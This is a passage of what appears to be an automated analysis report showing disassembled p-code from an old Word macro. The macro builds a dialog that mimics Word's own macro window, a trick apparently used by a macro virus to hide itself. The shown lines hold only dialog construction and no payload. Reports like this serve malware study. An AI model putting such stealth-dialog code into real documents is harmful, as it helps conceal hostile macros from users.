' 	LitStr 0x0005 "&Edit"
' 	LitStr 0x000C "Definierbar4"
' 	Ld WordBasic 
' 	ArgsMemCall PushButton 0x0006 
' Line #83:
' 	LitDI2 0x01BD 
' 	LitDI2 0x0089 
' 	LitDI2 0x008D 
' 	LitDI2 0x0015 
' 	LitStr 0x0007 "&Create"
' 	LitStr 0x000C "Definierbar5"
' 	Ld WordBasic 
' 	ArgsMemCall PushButton 0x0006 
' Line #84:
' 	LitDI2 0x01BD 
' 	LitDI2 0x00A0 
' 	LitDI2 0x008D 
' 	LitDI2 0x0015 
' 	LitStr 0x0007 "&Delete"
' 	LitStr 0x000C "Definierbar6"
' 	Ld WordBasic 
' 	ArgsMemCall PushButton 0x0006 
' Line #85:
' 	LitDI2 0x01BD 
' 	LitDI2 0x00B9 
' 	LitDI2 0x008D 
' 	LitDI2 0x0015 
' 	LitStr 0x000D "Or&ganizer..."
' 	LitStr 0x000C "Definierbar7"
' 	Ld WordBasic 
' 	ArgsMemCall PushButton 0x0006 
' Line #86:
' 	LitDI2 0x0009 
' 	LitDI2 0x0016 
' 	LitDI2 0x01A4 
' 	LitDI2 0x0014 
' 	LitStr 0x0006 "Kong2$"
' 	Ld WordBasic 
' 	ArgsMemCall TextBox 0x0005 
' Line #87:
' 	LitDI2 0x0014 
' 	LitDI2 0x002A 
' 	LitDI2 0x019A 
' 	LitDI2 0x009B 
' 	ArgsLd ComboBox1__$ 0x0000 
' 	LitStr 0x0009 "ComboBox1"
' 	Ld WordBasic 
' 	ArgsMemCall ListBox 0x0006 
' Line #88:
' 	LitDI2 0x0009 
' 	LitDI2 0x0006 
' 	LitDI2 0x005D 
' 	LitDI2 0x000D 
' 	LitStr 0x000C "&Macro Name:"
' 	LitStr 0x0005 "Text1"
' 	Ld WordBasic 
' 	ArgsMemCall Then 0x0006 
' Line #89:
' 	LitDI2 0x0009 
' 	LitDI2 0x00CD 
' 	LitDI2 0x004B 
' 	LitDI2 0x000D 
' 	LitStr 0x000B "M&acros In:"
' 	LitStr 0x0005 "Text2"
' 	Ld WordBasic 
' 	ArgsMemCall Then 0x0006 
' Line #90:
' 	LitDI2 0x0009 
' 	LitDI2 0x00E6 
' 	LitDI2 0x006D 
' 	LitDI2 0x000D 
' 	LitStr 0x000D "Descr&iption:"
' 	LitStr 0x0005 "Text3"
' 	Ld WordBasic 
' 	ArgsMemCall Then 0x0006 
' Line #91:
' 	LitDI2 0x0009 
' 	LitDI2 0x00F5 
' 	LitDI2 0x01A5 
' 	LitDI2 0x0023 
' 	LitStr 0x0005 "Kong$"
' 	Ld WordBasic 
' 	ArgsMemCall TextBox 0x0005 
' Line #92:
' 	LitDI2 0x0055 
' 	LitDI2 0x00CC 
' 	LitDI2 0x0157 
' 	LitDI2 0x003C 
' 	ArgsLd DropListBox2__$ 0x0000 
' 	LitStr 0x0008 "ListBox2"
' 	Ld WordBasic 
' 	ArgsMemCall DropListBox 0x0006 
' Line #93:
' 	LitDI2 0x01BD 
' 	LitDI2 0x00CD 
' 	LitDI2 0x0096 
' 	LitDI2 0x000D 
' 	LitStr 0x0012 "__________________"
' 	Ld WordBasic 
' 	ArgsMemCall Then 0x0005 
' Line #94:
' 	LitDI2 0x01BD 
' 	LitDI2 0x00DC 
' 	LitDI2 0x0096 
' 	LitDI2 0x000D 
' 	LitStr 0x000E "    Copyright "
' 	LitDI2 0x00A9 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0005 " 1999"
' 	Concat 
' 	Ld WordBasic 
' 	ArgsMemCall Then 0x0005 
' Line #95:
' 	LitDI2 0x01BD 
…

Open this report in the interactive analyzer, or submit your own file for analysis.